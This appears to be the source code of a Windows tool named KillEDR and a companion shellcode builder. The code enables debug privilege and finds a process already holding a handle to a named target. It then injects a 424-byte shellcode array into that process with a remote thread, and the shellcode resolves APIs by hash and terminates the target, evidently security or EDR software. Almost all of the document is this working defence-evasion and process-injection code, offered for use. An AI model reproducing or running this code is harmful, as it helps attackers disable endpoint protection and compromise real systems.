<|start_filename|>KillEDR/utils.cpp<|end_filename|>
#include "utils.hpp"


namespace utils
{
	BOOL EnableDebugPrivilege()
	{
		BOOL ret = FALSE;
		HANDLE token = nullptr;

		do
		{
			if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &token))
			{
				break;
			}

			TOKEN_PRIVILEGES privileges;
			privileges.PrivilegeCount = 1;
			if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &privileges.Privileges[0].Luid))
			{
				break;
			}

			privileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
			if (!AdjustTokenPrivileges(token, FALSE, &privileges, sizeof(privileges), NULL, NULL))
			{
				break;
			}

			ret = TRUE;
		} while (false);

		if (token)
		{
			CloseHandle(token);
		}

		return ret;
	}

	DWORD GetPidByName(const wchar_t* name)
	{
		DWORD pid = 0;
		HANDLE snapshot = INVALID_HANDLE_VALUE;

		do
		{
			PROCESSENTRY32W entry;
			entry.dwSize = sizeof(entry);
			snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
			if (snapshot == INVALID_HANDLE_VALUE)
			{
				break;
			}

			if (!Process32FirstW(snapshot, &entry))
			{
				break;
			}

			do
			{
				if (_wcsicmp(name, entry.szExeFile) == 0)
				{
					pid = entry.th32ProcessID;
					break;
				}
			} while (Process32NextW(snapshot, &entry));

		} while (false);

		if (snapshot)
		{
			CloseHandle(snapshot);
		}

		return pid;
	}

	DWORD64 FindProcessObject(DWORD pid)
	{
		DWORD64 object = 0;
		HANDLE handle = nullptr;
		PVOID buffer = nullptr;

		do 
		{
			// test open target process handle with limit access
			handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
			if (handle==nullptr)
			{
				break;
			}

			// Find Ntdll
			HMODULE module = GetModuleHandleA("ntdll.dll");
			if (module == nullptr)
			{
				break;
			}

			// Find Nt Function
			using FunctionT = ntdll::typfnNtQuerySystemInformation;
			FunctionT pfnNtQuerySystemInformation = (FunctionT)GetProcAddress(module, "NtQuerySystemInformation");
			if (pfnNtQuerySystemInformation == nullptr)
			{
				break;
			}

			DWORD size = 0x10000;
			NTSTATUS status = STATUS_SUCCESS;
			// alloc tmp buffer
			buffer = malloc(size);
			if (!buffer)
			{
				break;
			}

			do
			{
				// realloc large enough buffer
				buffer = realloc(buffer, size = 2 * size);
				if (!buffer)
				{
					break;
				}

				// get system handle info
				status = pfnNtQuerySystemInformation(SystemHandleInformation, buffer, size, nullptr);

			} while (status == STATUS_INFO_LENGTH_MISMATCH);

			if (!NT_SUCCESS(status) || buffer == nullptr)
			{
				break;
			}

			// system handle
			ntdll::PSYSTEM_HANDLE_INFORMATION sys_handle = (ntdll::PSYSTEM_HANDLE_INFORMATION)buffer;

			for (size_t i = 0; i < sys_handle->NumberOfHandles; i++)
			{
				// handle info
				ntdll::SYSTEM_HANDLE_TABLE_ENTRY_INFO info = sys_handle->Handles[i];

				//  in current process opened target process handle
				if (info.UniqueProcessId==GetCurrentProcessId()&&(HANDLE)info.HandleValue==handle)
				{
					object = (DWORD64)info.Object;
					break;
				}
			}

		} while (false);

		if (handle)
		{
			CloseHandle(handle);
		}

		if (buffer)
		{
			free(buffer);
		}

		return object;
	}

	DWORD FindAccessibleProcess(DWORD64 object)
	{
		DWORD ret = 0;
		PVOID buffer = nullptr;
		HANDLE handle = nullptr;

		do
		{
			// Find Ntdll
			HMODULE module = GetModuleHandleA("ntdll.dll");
			if (module == nullptr)
			{
				break;
			}

			// Find Nt Function
			using FunctionT = ntdll::typfnNtQuerySystemInformation;
			FunctionT pfnNtQuerySystemInformation = (FunctionT)GetProcAddress(module, "NtQuerySystemInformation");
			if (pfnNtQuerySystemInformation == nullptr)
			{
				break;
			}

			DWORD size = 0x10000;
			NTSTATUS status = STATUS_SUCCESS;
			// alloc tmp buffer
			buffer = malloc(size);
			if (!buffer)
			{
				break;
			}

			do
			{
				// realloc large enough buffer
				buffer = realloc(buffer, size = 2 * size);
				if (!buffer)
				{
					break;
				}

				// get system handle info
				status = pfnNtQuerySystemInformation(SystemHandleInformation, buffer, size, nullptr);

			} while (status == STATUS_INFO_LENGTH_MISMATCH);

			if (!NT_SUCCESS(status) || buffer == nullptr)
			{
				break;
			}

			// system handle
			ntdll::PSYSTEM_HANDLE_INFORMATION sys_handle = (ntdll::PSYSTEM_HANDLE_INFORMATION)buffer;

			for (size_t i = 0; i < sys_handle->NumberOfHandles; i++)
			{
				// handle info
				ntdll::SYSTEM_HANDLE_TABLE_ENTRY_INFO info = sys_handle->Handles[i];

				// TypeName=Process,TypeIndex=7
				if (info.ObjectTypeIndex != 7)
				{
					continue;
				}

				// exclude system process
				if (info.UniqueProcessId == 0 || info.UniqueProcessId == 4)
				{
					continue;
				}

				// target process
				if ((DWORD64)info.Object != object)
				{
					continue;
				}

				// access enough
				ACCESS_MASK access = info.GrantedAccess;
				ACCESS_MASK power = PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE;
				if ((access & power) != power)
				{
					continue;
				}

				// test can be opened with read and write access
				handle = OpenProcess(power, FALSE, info.UniqueProcessId);
				if (handle != nullptr)
				{
					// is 64bit process
					BOOL wow64 = TRUE;
					if (IsWow64Process(handle, &wow64)&&wow64==FALSE)
					{
						ret = info.UniqueProcessId;
						break;
					}
				}
			}

		} while (false);

		// free
		if (buffer)
		{
			free(buffer);
		}

		if (handle)
		{
			CloseHandle(handle);
		}

		return ret;
	}

}

<|start_filename|>ShellcodeStdio/ScStdio.h<|end_filename|>
#pragma once

#include <Windows.h>
#include <winnt.h>
#include <winternl.h>

namespace ScStdio {
	BOOL MalCode(DWORD pid);
	BOOL WriteShellcodeToDisk();
}

<|start_filename|>KillEDR/utils.hpp<|end_filename|>
#pragma once
//global define
//#define UMDF_USING_NTSTATUS
#include <windows.h>
#include <tlhelp32.h>
#include <winternl.h>
#include <ntstatus.h>




//#ifndef NT_SUCCESS
//#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
//#endif

#define SystemHandleInformation 16

namespace utils
{
	namespace ntdll
	{
		typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
		{
			USHORT UniqueProcessId;
			USHORT CreatorBackTraceIndex;
			UCHAR ObjectTypeIndex;
			UCHAR HandleAttributes;
			USHORT HandleValue;
			PVOID Object;
			ULONG GrantedAccess;
		} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

		typedef struct _SYSTEM_HANDLE_INFORMATION
		{
			ULONG NumberOfHandles;
			SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
		} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

		//__kernel_entry NTSTATUS NtQuerySystemInformation(IN SYSTEM_INFORMATION_CLASS SystemInformationClass,OUT PVOID   SystemInformation,IN ULONG SystemInformationLength,OUT PULONG  ReturnLength);
		typedef NTSTATUS(NTAPI* typfnNtQuerySystemInformation)(IN ULONG SystemInformationClass, OUT PVOID   SystemInformation, IN ULONG SystemInformationLength, OUT PULONG  ReturnLength);

	}

	BOOL EnableDebugPrivilege();
	DWORD GetPidByName(const wchar_t* name);
	DWORD64 FindProcessObject(DWORD pid);
	DWORD FindAccessibleProcess(DWORD64 object);
}

<|start_filename|>KillEDR/shellcode.hpp<|end_filename|>
#pragma once
//------------------------------------------------------------
//-----------       Created with 010 Editor        -----------
//------         www.sweetscape.com/010editor/          ------
//
// File    : D:\Project\KillEDR\x64\Release\shellcode.bin
// Address : 0 (0x0)
// Size    : 424 (0x1A8)
//------------------------------------------------------------
unsigned char shellcode[424] = {
	0xB9, 0x01, 0x00, 0x00, 0x00, 0xE9, 0x0A, 0x01, 0x00, 0x00, 0xCC, 0xCC, 0x48, 0x8B, 0xC4, 0x48,
	0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48, 0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41,
	0x56, 0x41, 0x57, 0x65, 0x48, 0x8B, 0x04, 0x25, 0x60, 0x00, 0x00, 0x00, 0x44, 0x8B, 0xF9, 0x48,
	0x8B, 0x50, 0x18, 0x4C, 0x8B, 0x72, 0x20, 0x4D, 0x8B, 0xC6, 0x4D, 0x8B, 0x48, 0x20, 0x4D, 0x8B,
	0x00, 0x4D, 0x85, 0xC9, 0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x49, 0x63, 0x41, 0x3C, 0x42, 0x8B,
	0x8C, 0x08, 0x88, 0x00, 0x00, 0x00, 0x85, 0xC9, 0x74, 0x79, 0x4D, 0x8D, 0x14, 0x09, 0x41, 0x8B,
	0x52, 0x0C, 0x49, 0x03, 0xD1, 0x33, 0xFF, 0xEB, 0x16, 0xC1, 0xCF, 0x0D, 0x41, 0x0F, 0xBE, 0xCB,
	0x41, 0x80, 0xFB, 0x61, 0x8D, 0x41, 0xE0, 0x0F, 0x4C, 0xC1, 0x03, 0xF8, 0x48, 0xFF, 0xC2, 0x44,
	0x8A, 0x1A, 0x45, 0x84, 0xDB, 0x75, 0xE2, 0x41, 0x8B, 0x52, 0x20, 0x45, 0x33, 0xDB, 0x49, 0x03,
	0xD1, 0x45, 0x39, 0x5A, 0x18, 0x76, 0x3C, 0x8B, 0x1A, 0x49, 0x03, 0xD9, 0x33, 0xF6, 0xEB, 0x16,
	0xC1, 0xCE, 0x0D, 0x40, 0x0F, 0xBE, 0xCD, 0x40, 0x80, 0xFD, 0x61, 0x8D, 0x41, 0xE0, 0x0F, 0x4C,
	0xC1, 0x03, 0xF0, 0x48, 0xFF, 0xC3, 0x40, 0x8A, 0x2B, 0x40, 0x84, 0xED, 0x75, 0xE2, 0x8D, 0x04,
	0x3E, 0x44, 0x3B, 0xF8, 0x74, 0x31, 0x41, 0xFF, 0xC3, 0x48, 0x83, 0xC2, 0x04, 0x45, 0x3B, 0x5A,
	0x18, 0x72, 0xC4, 0x4D, 0x3B, 0xC6, 0x0F, 0x85, 0x5E, 0xFF, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x8B,
	0x5C, 0x24, 0x18, 0x48, 0x8B, 0x6C, 0x24, 0x20, 0x48, 0x8B, 0x74, 0x24, 0x28, 0x48, 0x8B, 0x7C,
	0x24, 0x30, 0x41, 0x5F, 0x41, 0x5E, 0xC3, 0x41, 0x8B, 0x4A, 0x24, 0x49, 0x03, 0xC9, 0x46, 0x0F,
	0xB7, 0x04, 0x59, 0x41, 0x8B, 0x4A, 0x1C, 0x49, 0x03, 0xC9, 0x42, 0x8B, 0x04, 0x81, 0x49, 0x03,
	0xC1, 0xEB, 0xCB, 0xCC, 0x48, 0x8B, 0xC4, 0x48, 0x89, 0x58, 0x08, 0x48, 0x89, 0x68, 0x10, 0x48,
	0x89, 0x70, 0x18, 0x48, 0x89, 0x78, 0x20, 0x41, 0x56, 0x48, 0x83, 0xEC, 0x20, 0x8B, 0xE9, 0xB9,
	0xA7, 0x55, 0x0B, 0xFD, 0xE8, 0xD3, 0xFE, 0xFF, 0xFF, 0xB9, 0x62, 0xF5, 0x9D, 0x75, 0x48, 0x8B,
	0xF8, 0xE8, 0xC6, 0xFE, 0xFF, 0xFF, 0xB9, 0xF1, 0x55, 0xA6, 0x1C, 0x48, 0x8B, 0xF0, 0xE8, 0xB9,
	0xFE, 0xFF, 0xFF, 0x33, 0xDB, 0x4C, 0x8B, 0xF0, 0x48, 0x85, 0xFF, 0x74, 0x2E, 0x48, 0x85, 0xF6,
	0x74, 0x29, 0x44, 0x8B, 0xC5, 0x33, 0xD2, 0xB9, 0xFF, 0xFF, 0x1F, 0x00, 0xFF, 0xD7, 0x48, 0x8B,
	0xF8, 0x48, 0x85, 0xC0, 0x74, 0x15, 0x33, 0xD2, 0x48, 0x8B, 0xC8, 0xFF, 0xD6, 0x85, 0xC0, 0x8D,
	0x4B, 0x01, 0x0F, 0x45, 0xD9, 0x48, 0x8B, 0xCF, 0x41, 0xFF, 0xD6, 0x48, 0x8B, 0x6C, 0x24, 0x38,
	0x8B, 0xC3, 0x48, 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x8B, 0x74, 0x24, 0x40, 0x48, 0x8B, 0x7C, 0x24,
	0x48, 0x48, 0x83, 0xC4, 0x20, 0x41, 0x5E, 0xC3
};




////------------------------------------------------------------
////-----------       Created with 010 Editor        -----------
////------         www.sweetscape.com/010editor/          ------
////
//// File    : C:\Users\Hades\Desktop\shellcode.bin
//// Address : 16 (0x10)
//// Size    : 279 (0x117)
////------------------------------------------------------------
//unsigned char shellcode[279] = {
//	0xC1, 0xCA, 0x0D, 0x80, 0xFB, 0x61, 0x8D, 0x41, 0xE0, 0x0F, 0x4C, 0xC1, 0x03, 0xD0, 0x46, 0x8A,
//	0x1E, 0x84, 0xDB, 0x75, 0xE8, 0x5E, 0x8B, 0xC2, 0x5B, 0xC3, 0x55, 0x8B, 0xEC, 0x83, 0xEC, 0x14,
//	0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x56, 0x57, 0x8B, 0x40, 0x0C, 0x89, 0x4D, 0xF4, 0x8B,
//	0x40, 0x14, 0x8B, 0xF8, 0x89, 0x45, 0xEC, 0x8B, 0x77, 0x10, 0x8B, 0x3F, 0x85, 0xF6, 0x74, 0x4F,
//	0x8B, 0x46, 0x3C, 0x8B, 0x5C, 0x30, 0x78, 0x85, 0xDB, 0x74, 0x44, 0x8B, 0x4C, 0x33, 0x0C, 0x03,
//	0xCE, 0xE8, 0x9F, 0xFF, 0xFF, 0xFF, 0x8B, 0x4C, 0x33, 0x20, 0x89, 0x45, 0xF8, 0x03, 0xCE, 0x33,
//	0xC0, 0x89, 0x4D, 0xF0, 0x89, 0x45, 0xFC, 0x39, 0x44, 0x33, 0x18, 0x76, 0x22, 0x8B, 0x0C, 0x81,
//	0x03, 0xCE, 0xE8, 0x7E, 0xFF, 0xFF, 0xFF, 0x03, 0x45, 0xF8, 0x39, 0x45, 0xF4, 0x74, 0x1C, 0x8B,
//	0x45, 0xFC, 0x8B, 0x4D, 0xF0, 0x40, 0x89, 0x45, 0xFC, 0x3B, 0x44, 0x33, 0x18, 0x72, 0xDE, 0x3B,
//	0x7D, 0xEC, 0x75, 0xA3, 0x33, 0xC0, 0x5F, 0x5E, 0x5B, 0xC9, 0xC3, 0x8B, 0x4D, 0xFC, 0x8B, 0x44,
//	0x33, 0x24, 0x8D, 0x04, 0x48, 0x0F, 0xB7, 0x0C, 0x30, 0x8B, 0x44, 0x33, 0x1C, 0x8D, 0x04, 0x88,
//	0x8B, 0x04, 0x30, 0x03, 0xC6, 0xEB, 0xDF, 0x55, 0x8B, 0xEC, 0x51, 0x53, 0x56, 0x57, 0xB9, 0xA7,
//	0x55, 0x0B, 0xFD, 0xE8, 0x52, 0xFF, 0xFF, 0xFF, 0xB9, 0x62, 0xF5, 0x9D, 0x75, 0x8B, 0xF8, 0xE8,
//	0x46, 0xFF, 0xFF, 0xFF, 0xB9, 0xF1, 0x55, 0xA6, 0x1C, 0x8B, 0xD8, 0xE8, 0x3A, 0xFF, 0xFF, 0xFF,
//	0x33, 0xF6, 0x89, 0x45, 0xFC, 0x85, 0xFF, 0x74, 0x25, 0x85, 0xDB, 0x74, 0x21, 0xFF, 0x75, 0x08,
//	0x56, 0x68, 0xFF, 0xFF, 0x1F, 0x00, 0xFF, 0xD7, 0x8B, 0xF8, 0x85, 0xFF, 0x74, 0x10, 0x56, 0x57,
//	0xFF, 0xD3, 0x33, 0xC9, 0x41, 0x85, 0xC0, 0x57, 0x0F, 0x45, 0xF1, 0xFF, 0x55, 0xFC, 0x5F, 0x8B,
//	0xC6, 0x5E, 0x5B, 0xC9, 0xC2, 0x04, 0x00
//};


<|start_filename|>ShellcodeStdio/main.cpp<|end_filename|>
#include "ScStdio.h"

int main(void) {
	 ScStdio::MalCode(NULL);
	 ScStdio::WriteShellcodeToDisk();	
}

<|start_filename|>ShellcodeStdio/ScStdio.cpp<|end_filename|>
#include "ScStdio.h"

#define ROR_SHIFT 13

namespace ScStdio {

	/*
		VS Compilation Switches:
		C/C++ -> Optimization -> /O1, /Ob2, /Oi, /Os, /Oy-, /GL
		C/C++ -> Code Generation -> /MT, /GS-, /Gy
		Linker -> General -> /INCREMENTAL:NO
	*/

#ifndef _WIN64
	__declspec(naked) void MalCodeBegin() { __asm { jmp MalCode } };
#else
	void MalCodeBegin() { MalCode(1); }
#endif

	PPEB getPEB() {
		PPEB p;
#ifndef _WIN64
		p = (PPEB)__readfsdword(0x30);
#else
		p = (PPEB)__readgsqword(0x60);
#endif
		return p;
	}

	constexpr DWORD ct_ror(DWORD n) {
		return (n >> ROR_SHIFT) | (n << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT));
	}

	constexpr char ct_upper(const char c) {
		return (c >= 'a') ? (c - ('a' - 'A')) : c;
	}

	constexpr DWORD ct_hash(const char* str, DWORD sum = 0) {
		return *str ? ct_hash(str + 1, ct_ror(sum) + ct_upper(*str)) : sum;
	}

	DWORD rt_hash(const char* str) {
		DWORD h = 0;
		while (*str) {
			h = (h >> ROR_SHIFT) | (h << (sizeof(DWORD) * CHAR_BIT - ROR_SHIFT));
			h += *str >= 'a' ? *str - ('a' - 'A') : *str;
			str++;
		}
		return h;
	}

	LDR_DATA_TABLE_ENTRY* getDataTableEntry(const LIST_ENTRY* ptr) {
		int list_entry_offset = offsetof(LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
		return (LDR_DATA_TABLE_ENTRY*)((BYTE*)ptr - list_entry_offset);
	}

	PVOID getProcAddrByHash(DWORD hash) {
		PEB* peb = getPEB();
		LIST_ENTRY* first = peb->Ldr->InMemoryOrderModuleList.Flink;
		LIST_ENTRY* ptr = first;
		do {
			LDR_DATA_TABLE_ENTRY* dte = getDataTableEntry(ptr);
			ptr = ptr->Flink;

			BYTE* baseAddress = (BYTE*)dte->DllBase;
			if (!baseAddress)
				continue;
			IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddress;
			IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddress + dosHeader->e_lfanew);
			DWORD iedRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
			if (!iedRVA)
				continue;
			IMAGE_EXPORT_DIRECTORY* ied = (IMAGE_EXPORT_DIRECTORY*)(baseAddress + iedRVA);
			char* moduleName = (char*)(baseAddress + ied->Name);
			DWORD moduleHash = rt_hash(moduleName);
			DWORD* nameRVAs = (DWORD*)(baseAddress + ied->AddressOfNames);
			for (DWORD i = 0; i < ied->NumberOfNames; ++i) {
				char* functionName = (char*)(baseAddress + nameRVAs[i]);
				if (hash == moduleHash + rt_hash(functionName)) {
					WORD ordinal = ((WORD*)(baseAddress + ied->AddressOfNameOrdinals))[i];
					DWORD functionRVA = ((DWORD*)(baseAddress + ied->AddressOfFunctions))[ordinal];
					return baseAddress + functionRVA;
				}
			}
		} while (ptr != first);

		return NULL;
	}

#define DEFINE_FUNC_PTR(module, function) \
	constexpr DWORD hash_##function = ct_hash(module) + ct_hash(#function); \
	typedef decltype(function) type_##function; \
	type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)

#define DEFINE_FWD_FUNC_PTR(module, real_func, function) \
	constexpr DWORD hash_##function = ct_hash(module) + ct_hash(real_func); \
	typedef decltype(function) type_##function; \
	type_##function *##function = (type_##function *)getProcAddrByHash(hash_##function)

	BOOL MalCode(DWORD pid) {

		// LoadLibrary GetProcAddress
		DEFINE_FUNC_PTR("kernel32.dll", OpenProcess);
		DEFINE_FUNC_PTR("kernel32.dll", TerminateProcess);
		DEFINE_FUNC_PTR("kernel32.dll", CloseHandle);

		BOOL ret = FALSE;
		HANDLE handle = nullptr;

		do
		{
			// Get Function Address
			if (OpenProcess == nullptr || TerminateProcess == nullptr)
			{
				break;
			}

			// Get Handle Use OpenProcess
			handle= OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
			if (handle == nullptr)
			{
				break;
			}

			// Kill Process
			if (!TerminateProcess(handle, EXIT_SUCCESS))
			{
				break;
			}

			ret = TRUE;
		} while (false);

		if (handle)
		{
			CloseHandle(handle);
		}

		return ret;
	}

#ifndef _WIN64
	__declspec(naked) void MalCodeEnd() { };
#else
	void MalCodeEnd() {};
#endif

	BOOL WriteShellcodeToDisk()
	{
		DWORD dwWritten;
		HANDLE FileHandle = CreateFileW(L"shellcode.bin", GENERIC_ALL, NULL, NULL, CREATE_ALWAYS, NULL, NULL);

		if (!FileHandle)
			return false;

		if (WriteFile(FileHandle, &MalCodeBegin, ((DWORD)&MalCodeEnd - (DWORD)&MalCodeBegin), &dwWritten, NULL))
		{
			CloseHandle(FileHandle);
			return true;
		}

		CloseHandle(FileHandle);
		return false;
	}
}

<|start_filename|>KillEDR/boom.cpp<|end_filename|>
#include "boom.hpp"
#include "shellcode.hpp"

boom* boom::_instance = nullptr;

boom* boom::instance()
{
	if (!_instance)
		_instance = new boom();
	return _instance;
}

BOOL boom::kill(const wchar_t* name)
{
	BOOL ret = FALSE;
	uint32_t pid = 0;
	HANDLE handle = nullptr;
	LPVOID address = nullptr;

	do
	{
		// Get Target ProcessId 
		pid = utils::GetPidByName(name);
		if (pid == 0)
		{
			break;
		}

		// find process object address
		uint64_t object = utils::FindProcessObject(pid);
		if (object == 0)
		{
			break;
		}

		// Find Process id With Access rights
		uint32_t id = utils::FindAccessibleProcess(object);
		if (id == 0)
		{
			break;
		}

		// open high access process
		handle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, id);
		if (handle == nullptr)
		{
			break;
		}

		// alloc shellcode space in high access process
		address = VirtualAllocEx(handle, nullptr, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
		if (!address)
		{
			break;
		}

		// write shellcode
		SIZE_T bytes = 0;
		if (!WriteProcessMemory(handle, address, shellcode, sizeof(shellcode), &bytes))
		{
			break;
		}

		if (!WriteProcessMemory(handle, LPVOID((DWORD64)address + 1), &pid, sizeof(pid), &bytes))
		{
			break;
		}

		// run shellcode
		HANDLE thread = CreateRemoteThread(handle, nullptr, 0, (LPTHREAD_START_ROUTINE)address, 0, 0, NULL);
		if (thread != nullptr)
		{
			WaitForSingleObject(thread, INFINITE);
			CloseHandle(thread);
		}

		//printf("target:%d,high:%d\n", pid, id);
		//printf("address:0x%llx , thread:0x%llx\n", address, thread);

		ret = TRUE;
	} while (false);

	if (address)
	{
		VirtualFreeEx(handle, address, 0, MEM_RELEASE);
	}

	if (handle)
	{
		CloseHandle(handle);
	}

	return ret;
}


<|start_filename|>KillEDR/boom.hpp<|end_filename|>
#pragma once
#include <stdint.h>
#include <iostream>
#include <windows.h>

#include "utils.hpp"

class boom
{
public:
	static boom* instance();
	BOOL kill(const wchar_t *name);

private:
	boom() {};
	~boom() {};
	static boom* _instance;
};



<|start_filename|>KillEDR/KillEDR.cpp<|end_filename|>
﻿// KillEDR.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//

#include <iostream>

#include "utils.hpp"
#include "boom.hpp"

int main()
{
	int ret = EXIT_FAILURE;

	do
	{
		int argc = 0;
		LPWSTR* argv = CommandLineToArgvW(GetCommandLineW(), &argc);
		if (argc != 2)
		{
			break;
		}

		// 提权
		if (!utils::EnableDebugPrivilege())
		{
			break;
		}

		//
		// BOOM!!!	
		// 
		if (boom::instance()->kill(argv[1]))
		{
			std::cout << "Kill Success!\n";
		}

		ret = EXIT_SUCCESS;
	} while (false);

	return ret;
}